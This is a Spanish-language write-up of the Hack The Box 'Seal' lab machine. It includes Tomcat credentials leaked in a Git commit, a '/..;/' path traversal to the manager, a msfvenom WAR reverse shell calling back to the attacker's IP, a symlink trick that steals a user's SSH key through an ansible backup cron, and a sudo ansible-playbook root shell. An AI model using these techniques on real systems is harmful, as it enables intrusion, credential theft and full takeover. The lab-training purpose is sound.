Seal - HTB Writeup

15 minute read

image

Enumeración

Comenzamos enviando una paquete ICMP a la máquina con la herramienta ping, con esto veremos su estado y su sistema operativo:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ ping -c 1 10.10.10.250
PING 10.10.10.250 (10.10.10.250) 56(84) bytes of data.
64 bytes from 10.10.10.250: icmp_seq=1 ttl=63 time=72.7 ms

--- 10.10.10.250 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 72.726/72.726/72.726/0.000 ms
Parámetro Acción
-c 1 elegimos que solo queremos enviar 1 traza

Se puede ver que la máquina está activa y que observando el TTL, concluimos que es una máquina Linux.

Más información sobre la detección de OS mediante TTL aquí.

También puedes hacer uso de mi herramienta OSidentifier.

Nmap

Comenzamos con la fase de escaneo de puertos haciendo uso de la herramienta nmap:

Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-13 16:22 WET
Nmap scan report for 10.10.10.250
Host is up (0.074s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sat, 13 Nov 2021 16:38:42 GMT
|     Set-Cookie: JSESSIONID=node015067sahacors9el1i47sgna4.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sat, 13 Nov 2021 16:38:41 GMT
|     Set-Cookie: JSESSIONID=node0t8x2u32fa64mduib6vo3a4yu2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 13 Nov 2021 16:38:41 GMT
|     Set-Cookie: JSESSIONID=node0rq6nbebxhb6oy6pqzrgi0lkm3.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
|_http-title: Site doesnt have a title (text/html;charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Parámetro Acción
-p- Es una forma de especificar que queremos escanear todos los puertos existentes, los 65535.
--open Este parámetro hace que nos muestre únicamente los puertos abiertos, que nos omita los filtered.
-sS Especificamos el tipo de escaneo ‘SYN port Scan’, que es más rápido y sigiloso que el tipo de escaneo por defecto.
--min-rate [valor] Envía paquetes tan o más rápido que la tasa dada.
-n Quitamos la resolución DNS para que el escaneo vaya más rápido.
-sC Utiliza un escaneo con una serie de scripts por defecto de nmap.
-sV Activa la detección de versiones.
-oN [nombre de archivo] Exporta los resultados en formato normal, tal cual se ve en el escaneo.

Podemos ver 3 puertos abiertos:

Puerto Servicio
22 Corresponde al servicio SSH
443 En este puerto se aloja un servicio HTTPS (SSL over HTTP)
8080 HTTP, este puerto es una alternativa a el puerto 80

User.txt

Empiezo enumerando el puerto 443 con la herramienta whatweb:

┌──[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ whatweb https://10.10.10.250
https://10.10.10.250 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[admin@seal.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)]
IP[10.10.10.250], JQuery[3.0.0], Script, Title[Seal Market], X-UA-Compatible[IE=edge], nginx[1.18.0]

Vemos que usa tecnologías como Jquery, Bootstrap, etc.

Visito la web desde el navegador y logramos ver la estructura de la página:

image

Parece ser un sitio web de venta de vegetales o algo por el estilo.

Bien, enumero ahora el puerto 8080.

Uso la herramienta curl para hacerme una idea de lo que se aloja en este puerto usando la consola:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ curl http://10.10.10.250:8080 -v
*   Trying 10.10.10.250:8080...
* Connected to 10.10.10.250 (10.10.10.250) port 8080 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.250:8080
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Date: Sun, 14 Nov 2021 10:09:05 GMT
< Set-Cookie: JSESSIONID=node0w3565b8cid9a1e5sd0isku9jl1.node0; Path=/; HttpOnly
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< Content-Type: text/html;charset=utf-8
< Content-Length: 0
< 
* Connection #0 to host 10.10.10.250 left intact

Obtenemos un código de estado 401 Unauthorized y se puede ver además que se nos ha asignado una cookie.

Uso el navegador para acceder a este puerto:

image

Vaya, se aloja el software GitBucket, un entorno de desarrollo ambientado en GitHub pero autohospedado.

Bien, no disponemos de credenciales para iniciar sesión, así que opto por crear una cuenta.

image

Bien, creamos la cuenta e iniciamos sesión.

image

Al iniciar sesión me doy cuenta de que aquí se aloja el código fuente de la página que vimos al principio.

Accedo al repositorio seal_market y me encuentro con lo siguiente:

image

Vemos una sección TODO y por lo que se ve hay desplegado un Apache Tomcat.

Me llama la atención lo de Tomcat asi que accedo al directorio con el mismo nombre.

No consigo encontrar nada relevante aquí.

Se me ocurre mirar entre los commits ya que con esto se puede ver el histórico del proyecto, y si el desarrollador ha añadido algo crítico y lo ha borrado, podremos verlo.

image

Vemos 2 commits, me llama la atención el que se llama “Updating tomcat configuration”.

Hago click en el identificador de este commit y vemos algo interesante:

image

Así es, unas jugosas credenciales de Tomcat.

Vale, sabemos que hay alojado un Apache Tomcat y tenemos credenciales, pero… ¿Donde está?

Sigo buscando en el repositorio de seal_market hasta que encuentro algo en la ruta seal_market/nginx/sites-enabled/default:

image

Vemos una ruta, /manager/html, y si nos fijamos en el código se puede deducir que se está haciendo uso de una autenticación mutua con SSL. Intento acceder usando el navegador:

image

Pero obtenemos un código de estado 403 Forbidden ya que no estamos autorizados.

Pruebo a fuzzear directorios a partir de la ruta /manager con ayuda de la herramienta wfuzz:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ wfuzz -c --hc=404 --hw=0 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt https://10.10.10.250/manager/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.250/manager/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                   
=====================================================================

000000092:   403        7 L      10 W       162 Ch      "html"                                                                                                                    
000000341:   401        63 L     291 W      2499 Ch     "text"                                                                                                                    
000000764:   401        63 L     291 W      2499 Ch     "status"                                                                                                                  
000009956:   403        7 L      10 W       162 Ch      "htmlcrypto"                                                                                                              
000011641:   403        7 L      10 W       162 Ch      "htmls"                                                                                                                   

Total time: 197.4780
Processed Requests: 16893
Filtered Requests: 16888
Requests/sec.: 85.54370
Parámetro Acción
-c Muestra el output con colores
--hc=404 Oculta las respuestas que tengan un código de estado 404 Not Found
--hw=0 Oculta las respuestas que contengan 0 palabras
-w Especifica el diccionario que queremos utilizar

Nos reporta varias rutas y si nos fijamos, en unas nos devuelve un código de estado 403 Forbidden y en otras un 401 Unauthorized.

Naveguemos hasta la ruta /manager/status por ejemplo, a ver que encontramos:

image

Se nos pide autenticación para acceder, pero por suerte hemos encontrado una credencial antes.

Probemos a ver si es correcta aquí:

image

¡Accedimos!

Una vez aquí, busco en la web para ver como podría ganar acceso al sistema a través de Tomcat.

Me encuentro con este artículo.

Segun este, se puede ganar acceso al sistema con una reverse shell gracias a un archivo .war malicioso subido a la ruta /manager/html

Suena fácil, pero hay un problema, no tenemos acceso a la ruta /manager/html.

Busco vulnerabilidades de Apache Tomcat 9.0.31 pero no encuentro nada relevante.

Hago uso de la extensión de navegador Wappalyzer para ver las tecnologías empleadas y veo que se usa Nginx como servidor y como proxy inverso.

Asi que ahora pruebo a buscar en la web con las palabras clave Nginx, proxy, Tomcat y vulnerabilities.

image

Mmmh, Path Traversal, suena interesante, echemos un vistazo a esta página:

image Fuente: Tomcat path traversal via reverse proxy mapping …

Como dice este artículo, la vulnerabilidad reside en que se tomará la secuencia /..;/ como /../, esto nos permite retroceder directorios y acceder a sitios no autorizados.

Veamos esto en la practica.

Se supone que el servidor tratará de igual manera la ruta /manager/status y /manager/status/..;/status/.

Veamos si es cierto:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ curl -s -k -u 'tomcat:42MrHBf*z8{Z%' 'https://10.10.10.250/manager/status/..;/status' -I | head -n 1
HTTP/1.1 200 
Parámetro Acción
-s Habilita el modo silecioso de curl, no muestra barras de progreso ni errores
-k No verifica si la conexión SSL es segura
-u Se usa para especificar un usuario y contraseña para una autenticación en el servidor
-I Se obtienen solo las cabeceras de la respuesta

Parece que funciona, hemos obtenido un código de estado 200 OK

El punto de esta vulnerabilidad es que podemos acceder a sitios no autorizados, como es nuestro caso, a la ruta /manager/html.

Probemos a ver si funciona la ruta /manager/status/..;/html:

image

¡Accedimos!, la vulnerabilidad está presente.

Ahora que conseguimos acceso a este recurso, ganemos acceso al sistema:

1º Paso - Creamos el archivo .war malicioso

Para esto, haremos uso de la herramienta msfvenom:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ msfvenom -p java/shell_reverse_tcp lhost=10.10.14.37 lport=4444 -f war -o not-a-reverse-shell.war
Payload size: 13321 bytes
Final size of war file: 13321 bytes
Saved as: not-a-reverse-shell.war
Parámetro Acción
-p Con este parámetro especificamos el tipo de payload que queremos utilizar
-f Este parámetro dice le formato con el que se exportará el archivo
-o Este sirve para elegir el nombre con el que se exportará el archivo

2º Paso - Abrimos BurpSuite para que las peticiones pasen a través de este

image

3º Paso - Nos ponemos en escucha por el puerto especificado en el archivo generado por msfvenom

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ nc -lvp 4444
Listening on 0.0.0.0 4444
Parámetro Acción
-l Habilita el modo escucha, para conexiones entrantes
-v Este parámetro dice que queremos que nos reporte más información de lo normal
-p 4444 Especificamos el puerto 4444

4º Paso - Subimos el archivo .war malicioso al software Tomcat y le damos a deploy

image

5º Paso - Vamos al BurpSuite y cambiamos la ruta

Por defecto, al darle al botón de Deploy, se hará una petición a la ruta /manager/html/upload para subir el archivo.

Desde el BurpSuite, tendremos que cambiar esta por /manager/status/..;/html/upload

image

6º Paso - Accedemos al recurso que se ha creado con curl

A partir de aquí, si lo hemos hecho bien, se habrá creado un recurso en la raiz del servidor web con el nombre que le hayamos puesto al archivo.

En mi caso “not-a-reverse-shell”

Hagamos una petición a este recurso para obtener la reverse shell:

acceso

¡Y listo! Ganamos acceso.


Enumero el sistema y veo que en el directorio home hay un directorio de un usuario:

tomcat@seal:/$ ls /home
luis

Enumero el directorio home del usuario luis:

tomcat@seal:/$ ls -la /home/luis/
total 51324
drwxr-xr-x 9 luis luis     4096 Nov 14 12:28 .
drwxr-xr-x 3 root root     4096 May  5  2021 ..
drwxrwxr-x 3 luis luis     4096 May  7  2021 .ansible
lrwxrwxrwx 1 luis luis        9 May  5  2021 .bash_history -> /dev/null
-rw-r--r-- 1 luis luis      220 May  5  2021 .bash_logout
-rw-r--r-- 1 luis luis     3797 May  5  2021 .bashrc
drwxr-xr-x 3 luis luis     4096 May  7  2021 .cache
drwxrwxr-x 3 luis luis     4096 May  5  2021 .config
drwxrwxr-x 6 luis luis     4096 Nov 14 10:00 .gitbucket
-rw-r--r-- 1 luis luis 52497951 Jan 14  2021 gitbucket.war
drwxrwxr-x 3 luis luis     4096 May  5  2021 .java
drwxrwxr-x 3 luis luis     4096 May  5  2021 .local
-rw-r--r-- 1 luis luis      807 May  5  2021 .profile
drwx------ 2 luis luis     4096 May  7  2021 .ssh
-r-------- 1 luis luis       33 Nov 14 10:00 user.txt
-rw------- 1 luis luis     3343 Nov 14 12:28 .viminfo

Se pueden ver varias cosas aquí.

Por un lado vemos la flag user.txt, la cual no podemos ver porque no contamos con permisos de lectura sobre este.

Y por otro lado veo el directorio .ssh, en el cual se suelen alojar claves id_rsa que sirven para conectarse por SSH sin proporcionar contraseña, pero tampoco tenemos acceso a este directorio.

Tengo esto en cuenta y sigo enumerando el sistema.

Pruebo a hacer uso de la herramienta Pspy para monitorear los procesos de la máquina.

Descargo el binario compilado y lo transfiero a la máquina, una vez hecho esto, lo ejecuto:

image

image

Consigo ver algo interesante, una tarea cron está iniciando sesión como el usuario luis y está ejecutando la herramienta ansible-playbook pasandole como argumento una ruta.

Antes de nada hay que saber que es Ansible-playbook, y es es un motor open source que automatiza los procesos de IT.

Veamos el archivo que se le ha pasado como argumento al programa, concretamente en /opt/backups/playbook/run.yml:

tomcat@seal:/dev/shm$ cat /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-\{\{ansible_date_time.date\}\}-\{\{ansible_date_time.time\}\}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

Y parece ser un archivo de configuración para que se realicen backups de la ruta /var/lib/tomcat9/webapps/ROOT/admin/dashboard/ y se almacenen en /opt/backups/archives/.

Veamos que hay en la ruta /var/lib/tomcat9/webapps/ROOT/admin/dashboard/:

tomcat@seal:/dev/shm$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 100
drwxr-xr-x 7 root root  4096 May  7  2021 .
drwxr-xr-x 3 root root  4096 May  6  2021 ..
drwxr-xr-x 5 root root  4096 Mar  7  2015 bootstrap
drwxr-xr-x 2 root root  4096 Mar  7  2015 css
drwxr-xr-x 4 root root  4096 Mar  7  2015 images
-rw-r--r-- 1 root root 71744 May  6  2021 index.html
drwxr-xr-x 4 root root  4096 Mar  7  2015 scripts
drwxrwxrwx 2 root root  4096 Nov 14 14:45 uploads

Se pueden apreciar varios directorios, entre los cuales está el directorio uploads, al que tenemos permisos de escritura.

Ya con esto se me ocurre un vector de ataque:

La herramienta se ejecuta como usuario luis, el cual tiene acceso a todo su directorio personal. La idea aquí es crear un link simbólico del directorio .ssh en la ruta /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads, en la que tenemos permisos de escritura. Una vez hecho esto, la tarea cron ejecutará la herramienta ansible-playbook y se creará un backup en la ruta /opt/backups/archives/ donde podremos ver el contenido del directorio .ssh.

Hagamos esto:

Creamos el link simbólico del recurso /home/luis/.ssh en el directorio /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/

yomcat@seal:/$ ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
tomcat@seal:/$ echo $?
0

El link simbólico se ha creado correctamente ya que el código de estado es 0 (exitoso)

2º Paso - Esperamos a que la tarea cron se ejecute

Esperamos 1 minuto a que se ejecute la tarea cron y se cree el backup en la ruta /opt/backups/archives

3º Trasferimos el backup a nuestra máquina

Accedemos a la ruta /opt/backups/archives y transferimos a nuestra máquina el backup más reciente que haya.

tomcat@seal:/$ cd /opt/backups/archives/
tomcat@seal:/opt/backups/archives$ ls -la 
total 2392
drwxrwxr-x 2 luis luis   4096 Nov 14 18:48 .
drwxr-xr-x 4 luis luis   4096 Nov 14 18:48 ..
-rw-rw-r-- 1 luis luis 609581 Nov 14 18:45 backup-2021-11-14-18:45:32.gz
-rw-rw-r-- 1 luis luis 609581 Nov 14 18:46 backup-2021-11-14-18:46:32.gz
-rw-rw-r-- 1 luis luis 609581 Nov 14 18:47 backup-2021-11-14-18:47:33.gz
-rw-rw-r-- 1 luis luis 609581 Nov 14 18:48 backup-2021-11-14-18:48:33.gz

Transferiremos el más reciente.

image

Ahora descomprimiremos el archivo con tar, no sin antes cambiarle el nombre al archivo, ya que da problemas al interpretarlo con la herramienta tar:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ mv backup-2021-11-14-18\:53\:32.gz backup

Y lo descomprimimos:

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ tar -xf backup
Parámetro Acción
-x Especificamos que queremos usar la función de extraer
-f backup Con este parámetro decimos que queremos trabajar con el archivo backup

Una vez descomprimido el archivo, se habrá creado un directorio con nombre dashboard, si accedemos a el, podremos ver el contenido del directorio .ssh de la máquina víctima.

┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ cd dashboard/uploads/.ssh
┌─[z3r0byte@z3r0byte]─[~/Descargas/dashboard/uploads/.ssh]
└──╼ $ ls
authorized_keys  id_rsa  id_rsa.pub

Y en efecto, como habíamos predicho, nos encontramos con un certificado id_rsa que podremos utilizar para conectarnos por SSH como usuario luis.

Bien, hagamoslo entonces:

┌─[z3r0byte@z3r0byte]─[~/Descargas/dashboard/uploads/.ssh]
└──╼ $ ssh -i id_rsa luis@10.10.10.250
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 14 Nov 2021 07:27:48 PM UTC

  System load:  0.1               Processes:             174
  Usage of /:   47.2% of 9.58GB   Users logged in:       1
  Memory usage: 45%               IPv4 address for eth0: 10.10.10.250
  Swap usage:   0%


22 updates can be applied immediately.
15 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Nov 14 19:25:52 2021 from 10.10.16.89
luis@seal:~$ 

Una vez en este punto, podremos ver la flag user.txt en la ruta /home/luis/user.txt:

luis@seal:~$ cat /home/luis/user.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Root.txt

Enumerando el sistema en busca de un vector para escalar privilegios, me doy cuenta de que el usuario luis tiene un permisos asignados:

luis@seal:~$ sudo -l 
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Puede ejecutar la herramienta ansible-playbook con cualquier argumento y como cualquier usuario.

Busco en GTFObins para ver si está contemplado este binario y veo que sí.

image

Simplemente siguiendo estos pasos conseguiríamos una shell como el usuario root

Bien, roteemos esto:

luis@seal:~$ TF=$(mktemp)
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
luis@seal:~$ sudo -u root /usr/bin/ansible-playbook $TF
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] ***************************************************************************************************************

TASK [Gathering Facts] *********************************************************************************************************
ok: [localhost]

TASK [shell] *******************************************************************************************************************

# id    
uid=0(root) gid=0(root) groups=0(root)

Una vez en este punto, podremos visualizar la flag root.txt en la ruta /root/root.txt:

# cat /root/root.txt	
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Conclusión

En esta máquina hemos ganado acceso inicial como usuario no privilegiado haciendo uso de unas credenciales en texto claro recogidas de un servicio alojado en el puerto 8080para acceder a un Apache Tomcat y ganar acceso mediante una reverse shell. Escalamos privilegios hacia un usuario con más permisos aprovechandonos de una tarea cron ejecutada por ese usuario para lograr acceder a su directorio .ssh y poder conectarnos usando su clave id_rsa. Finalmente ganamos control total del sistema abusando de un permiso que se nos asignaba pudiendo correr el binario ansible-playbook como el usuario root y generando una shell como el mismo usuario.